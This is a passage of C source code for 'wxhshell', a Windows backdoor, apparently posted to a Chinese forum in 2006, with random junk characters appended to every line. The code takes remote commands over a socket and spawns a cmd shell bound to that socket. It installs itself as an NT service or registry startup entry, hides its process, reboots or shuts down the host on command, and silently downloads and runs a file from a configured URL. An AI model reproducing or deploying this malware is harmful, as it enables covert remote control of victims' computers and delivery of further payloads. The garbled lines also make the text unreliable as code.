  } {ZsWZJ!  
  else { 0p>:rU~  
6B;_uIq5  
    switch(cmd[0]) { FvI0 J  
  dVmAMQk.g  
  // 帮助 {u_k\m[Y  
  case '?': { E]eqvTNH  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %*Z2Gef?H  
    break; 0Li'a{n2  
  } ;DgX"Uzm  
  // 安装 v/TlXxfil  
  case 'i': { 6m{$rBR  
    if(Install()) ux 79"5qb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |v %RjN  
    else l3pW{p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }b ]y 0"  
    break; kJ<Xq   
    } DHumBnQ  
  // 卸载 !,JT91  
  case 'r': { i;'X}KW  
    if(Uninstall()) ZhbY, wJ,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p4t!T=o/  
    else ^a#&wW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KlqJ EtO_  
    break; @8M2'R\  
    } W Pp\sIP  
  // 显示 wxhshell 所在路径 zRJKIm  
  case 'p': { l6DIsR  
    char svExeFile[MAX_PATH]; xc]C#q  
    strcpy(svExeFile,"\n\r"); 7@y!R   
      strcat(svExeFile,ExeFile); FiU;>t<)  
        send(wsh,svExeFile,strlen(svExeFile),0); wyzBkRg.  
    break; iJKm27 ">  
    } zm3MOH^a  
  // 重启 ~lalc ^  
  case 'b': { 8.%a"sxr  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); cA*X$j6  
    if(Boot(REBOOT)) HxqV[|}0u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7F9g:r/^  
    else { $?A Uk  
    closesocket(wsh); dZiWVa  
    ExitThread(0); !e\R;bYM  
    } 2hA66ar{$  
    break; +i_f.Ipp  
    } CT:eV7<>s  
  // 关机 KjfKo;T  
  case 'd': { E~@HC5.M  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); l0_E9qh-i  
    if(Boot(SHUTDOWN)) ~CdseSo 9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?eVuz x  
    else { 19-yM`O  
    closesocket(wsh); &Cpxo9-  
    ExitThread(0); -MW(={#   
    } Y./}zCT  
    break; 4k2c mM$  
    } yb.|7U?/x  
  // 获取shell {_X1&&>8/  
  case 's': { "O1*uwm  
    CmdShell(wsh); HYYx*CJ)  
    closesocket(wsh); [#rdfN'?U  
    ExitThread(0); K84cE  
    break; H6CGc0NS+  
  } AFB 7s z  
  // 退出 NG W{Z~l  
  case 'x': { rMg{j gD  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |VR5Q(d  
    CloseIt(wsh); E?h2e~ ,]  
    break; E4aCGg  
    } f{5| }PL  
  // 离开 SU}oKii /  
  case 'q': { AXv;r<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); iGeT^!N  
    closesocket(wsh); #.L0]Uqcp  
    WSACleanup(); 3) Awj++  
    exit(1); )I-?zyL  
    break; oS|~\,p"  
        } [tK:y[nk  
  } 6V6g{6W,/  
  } B';> Hk  
=?*"V-l  
  // 提示信息 Ihq@|s8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a;owG/\p  
} V?z{UZkR  
  } vyOC2c8  
`1}?{ud  
  return; _3G)S+ 7#  
} ~+iJpW  
3pjYY$'  
// shell模块句柄 Jas|P}{=fT  
int CmdShell(SOCKET sock) 4N=Ie}_`  
{ >rS<!e%  
STARTUPINFO si;  p6l@O3  
ZeroMemory(&si,sizeof(si)); TvG:T{jwy  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3b[+m}UWQ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; D!$ =oK  
PROCESS_INFORMATION ProcessInfo; U\ E{-7  
char cmdline[]="cmd"; >A( C9_\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  glX2L ~  
  return 0; ;Y&?ixx  
} XaS_3d  
3$yL+%i  
// 自身启动模式 8 ]MzOGB8  
int StartFromService(void) NITx;iC  
{ z'D{:q  
typedef struct q]%bd[zkz  
{ QuRg(K%:  
  DWORD ExitStatus; ^(JbJ@m/  
  DWORD PebBaseAddress; GfPz^F=ie.  
  DWORD AffinityMask; N4DDH^h  
  DWORD BasePriority; zjh9ZLu[  
  ULONG UniqueProcessId; L[r0UXYLV  
  ULONG InheritedFromUniqueProcessId; +9F#~{v`4a  
}   PROCESS_BASIC_INFORMATION; KXfW&d(Pk  
>!F,y3"5S  
PROCNTQSIP NtQueryInformationProcess; r<N*N,~  
j3-6WUO  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >^GCSPe  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; GE+csnA2  
K 0H!Ds9  
  HANDLE             hProcess; YaT+BRh?  
  PROCESS_BASIC_INFORMATION pbi; 'wnY>hN  
mKn357:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); F1*rUsRKN  
  if(NULL == hInst ) return 0; w>BFgb?  
&u\z T P  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +F&]BZ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +ENW=N  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); y1My, ?"?  
b!~%a  
  if (!NtQueryInformationProcess) return 0; Tv)y }  
_W@Fk)E6N  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =/!S  
  if(!hProcess) return 0; aDv/kFfn  
-mw \?\2{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; D % ,yA  
?JTyNg4<  
  CloseHandle(hProcess); >d V@9  
Vzm+Ew _  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Cj\+u\U#  
if(hProcess==NULL) return 0; KrG6z#)Uz  
i8@e}O I  
HMODULE hMod; Y8{1?LO  
char procName[255]; <FT\u{9$  
unsigned long cbNeeded; #$C]0]|  
q=i<vcw  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ioCkPj  
R+hS;F nh%  
  CloseHandle(hProcess); nJH%pBc  
(jFE{M$-  
if(strstr(procName,"services")) return 1; // 以服务启动 % peb{i  
m1i$>9,  
  return 0; // 注册表启动 Xb]?/7 X  
} { (,vm}iFL  
2e@\6l,!^  
// 主模块 H).5xx[`  
int StartWxhshell(LPSTR lpCmdLine) Z=8CbS).  
{ x%ag.g2I  
  SOCKET wsl; <X&:tZ #/  
BOOL val=TRUE; 7lPk~0  
  int port=0; `b'J*4|oGo  
  struct sockaddr_in door; A1$'[8U~3  
u$p|hd d  
  if(wscfg.ws_autoins) Install(); svjFy/T(lL  
.: ;Hh~  
port=atoi(lpCmdLine); bXLa~r4\  
|o) _=Fx  
if(port<=0) port=wscfg.ws_port; tKGsrgoV  
^WPV  
  WSADATA data; me^Gk/`Em  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q\Kdu5x{  
=8_TOvSJ4p  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :"IH*7xp  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <yO9j   
  door.sin_family = AF_INET; 0j MI)aY.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }0),b ?*e  
  door.sin_port = htons(port); !$# 4D&T  
'u/HQg*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 08jQq#  
closesocket(wsl); 1A.\Ao  
return 1; j/|qge4  
} X&X')hzIt  
' qS!n  
  if(listen(wsl,2) == INVALID_SOCKET) { %$ ?Q%  
closesocket(wsl); gRI|rDC)B  
return 1; nDw9  
} VSFl9/5?  
  Wxhshell(wsl); %y+j~]^:  
  WSACleanup(); O#Hz5 A5  
!iOu07<n&D  
return 0; 4 jro4B`  
)E2Lf ]  
} &2pM3re/f  
/*HSAjv  
// 以NT服务方式启动 m uY^Fx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) L$Z_j()2  
{ nz l,y,  
DWORD   status = 0; p:%E>K1<  
  DWORD   specificError = 0xfffffff; Q3Lqj2r  
XX6)(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *.l=> #qF  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ka%pS  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I!'(>VlP7  
  serviceStatus.dwWin32ExitCode     = 0; tRCd(Z,WY  
  serviceStatus.dwServiceSpecificExitCode = 0; t[,\TM^h}0  
  serviceStatus.dwCheckPoint       = 0; KrH ;o)|  
  serviceStatus.dwWaitHint       = 0; x%&V!L  
'8 #*U  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N3RwcM9+;  
  if (hServiceStatusHandle==0) return; \vQ (  
&>+Z$ZD  
status = GetLastError(); r:-WfDz.  
  if (status!=NO_ERROR) Z3{Qtysuv3  
{ 3i~{x[Jc  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; r'?&VS-Cj  
    serviceStatus.dwCheckPoint       = 0; ,#Y".23G  
    serviceStatus.dwWaitHint       = 0; (6'Hzl^Kp  
    serviceStatus.dwWin32ExitCode     = status; gk%ye&:f  
    serviceStatus.dwServiceSpecificExitCode = specificError; P 'k39  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wfy+7$14M  
    return; iJeT+}  
  } }clNXtN  
5]+eLKXB  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Mq?21gW  
  serviceStatus.dwCheckPoint       = 0; $hh=-#J8  
  serviceStatus.dwWaitHint       = 0; -+/|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); zv@o- R$l  
} + P.Ir  
`#F>?g$2  
// 处理NT服务事件,比如:启动、停止 uESHTX/[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) n1h+`nsf  
{ rD?o97  
switch(fdwControl) ]A[~2]  
{ K)ib{V(50  
case SERVICE_CONTROL_STOP: k2;yl _7  
  serviceStatus.dwWin32ExitCode = 0; ppA8c6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; G>"[nXmcu  
  serviceStatus.dwCheckPoint   = 0; a8TE  
  serviceStatus.dwWaitHint     = 0; eO#)QoHj^  
  { a3[aXe  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); '/?&Gol-  
  } u"ow?[E  
  return; 4esf&-gG  
case SERVICE_CONTROL_PAUSE: &(0);I@fc  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; q~C6+  
  break; QKxu vW  
case SERVICE_CONTROL_CONTINUE: up6LO7drW/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9AaixI  
  break; **"sru;@=  
case SERVICE_CONTROL_INTERROGATE: V6N#%(?3  
  break; (?(ahtT4T  
}; Emo]I[<&q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V qf}(3K0  
} seim?LK  
w:Vs$,  
// 标准应用程序主函数 R?R6|4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) O^GTPYW  
{ UF4QPPH4  
);vU=p"@  
// 获取操作系统版本 ~ nIZ g5  
OsIsNt=GetOsVer(); ezeGw?/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); pQD8#y)`C  
WD]dt!V%  
  // 从命令行安装 1L ow[i  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3:RZ@~u=  
iC">F.9#  
  // 下载执行文件 6|9fcIh]B  
if(wscfg.ws_downexe) { (RF6K6~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;(A'XA4 6N  
  WinExec(wscfg.ws_filenam,SW_HIDE); EP @=i  
} ?*g]27f11  
2C>PxA6l  
if(!OsIsNt) { }v{F9dv  
// 如果时win9x,隐藏进程并且设置为注册表启动 F-t-d1w6  
HideProc(); ZtiOf}@i\  
StartWxhshell(lpCmdLine); &E~7ty'  
} 8u4]@tJH  
else ^H>vJT  
  if(StartFromService()) ;X>KP,/r$  
  // 以服务方式启动 /D~:Ufw  
  StartServiceCtrlDispatcher(DispatchTable); Ty5\zxC|  
else i^(0,L  
  // 普通方式启动 XyhdsH5%3!  
  StartWxhshell(lpCmdLine); wTLHg2'y^  
`S2=LJ  
return 0; ]yyfE7{q  
}
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只看该作者 1 发表于: 2006-10-10
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